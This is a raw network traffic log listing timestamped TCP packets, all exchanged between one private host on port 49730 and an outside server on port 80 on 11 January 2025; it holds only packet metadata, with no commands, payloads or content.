Jan 11, 2025 02:19:24.498807907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.498847008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.498847008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.498869896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.498902082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.498905897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.504218102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.529526949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.529547930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.529624939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.561594009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.561613083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.561635971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.561651945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.561666965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.561695099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.561708927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.561711073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.561772108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.561772108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.561786890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.561805010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.561861038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.561876059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.561888933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.561891079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.561920881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.582643032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.582667112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.582691908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.582705021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.582717896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.582731009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.582746983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.582747936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.582794905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.582853079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.582889080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.582901001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.583025932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.592658997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.592708111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.592722893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.592788935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.592822075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.592837095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.592860937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.592938900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.592952967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.592967033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.592978001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.593007088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.593034983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.593048096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.593060970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.593100071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.613492966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.613509893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.613637924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.613672972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.613723993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.613759995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.613778114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.613811970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.613830090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.613846064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.613884926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.613928080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.613941908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.613980055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.614048958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.614062071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.614074945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.614089012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.614105940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.614109993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.614119053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.614146948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.614176989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.614275932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.614289999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.614303112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.614317894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.614327908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.614356041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.614511013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.614525080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.614538908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.614552021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.614556074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.614566088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.614579916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.614583969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.614593983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.614614010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.614774942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.614788055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.614801884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.614809990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.614816904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.614831924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.614845037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.614875078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.615025997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615039110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615051985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615065098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615077972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615092039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615099907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.615107059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615147114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.615442038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615458012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615472078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615485907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615485907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.615499973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615505934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.615514040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615528107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615537882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.615539074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615552902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615562916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.615597963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.615766048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615778923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615792036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615806103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615818977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615832090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615838051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.615844965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615865946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.615866899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615880013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615894079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615901947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.615907907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615921021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615923882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.615935087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615948915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615957975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.615962982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.615981102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.616663933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.616681099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.616694927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.616708994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.616713047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.616723061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.616729975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.616739988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.616754055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.616760969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.616766930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.616780043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.616780996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.616794109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.616806984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.616820097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.616833925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.616835117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.616847038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.616857052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.616861105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.616873980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.616873980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.616888046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.616894960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.616902113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.616997957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.617388964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.617403984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.617417097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.617429972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.617432117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.617443085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.617459059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.617471933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.617471933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.617486000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.617500067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.617522955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.620767117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.652331114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.652349949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.652373075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.652388096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.652400970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.652415037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.652424097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.652429104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.652456045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.652477980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.673238993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.673276901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.673299074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.673314095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.673330069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.673341036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.673372030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.673434019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.673448086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.673461914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.673494101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.673520088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.673532963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.673547029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.673556089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.673593044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.673623085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.673728943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.673743010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.673758030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.673770905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.673789024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.673819065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.683219910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.683285952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.683290958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.683300018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.683325052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.683331966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.683393002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.683404922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.683420897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.683435917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.683480978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.683581114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.683594942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.683609009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.683639050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.683676004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.683689117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.683702946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.683711052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.683734894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.683795929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.683811903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.683851004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.704370022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.704411030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.704426050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.704452991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.704468012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.704505920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.704525948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.704540968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.704557896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.704582930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.704663992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.704675913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.704689980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.704698086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.704704046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.704730034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.704817057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.704828024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.704860926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.704948902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.704958916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.704971075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.704982042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.704996109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.704999924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.705012083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.705015898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.705046892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.705251932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.705264091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.705275059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.705286026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.705297947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.705301046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.705308914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.705321074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.705322027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.705369949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.705369949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.705513000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.705605030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.705616951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.705626011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.705636978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.705647945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.705648899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.705658913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.705670118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.705671072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.705688953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.705719948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.706043005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.706054926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.706065893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.706077099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.706088066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.706099033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.706109047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.706110954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.706124067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.706146955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.706161976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.706475973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.706487894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.706499100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.706510067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.706521034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.706526041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.706531048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.706542969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.706548929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.706554890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.706564903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.706577063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.706587076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.706598043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.706602097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.706634045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.706665039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.707036018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.707047939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.707058907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.707068920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.707079887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.707089901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.707092047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.707103968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.707104921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.707114935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.707125902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.707135916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.707143068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.707148075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.707169056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 02:19:24.714308023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.714337111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 02:19:24.714348078 CET	80	49730	193.143.1.205	192.168.2.4
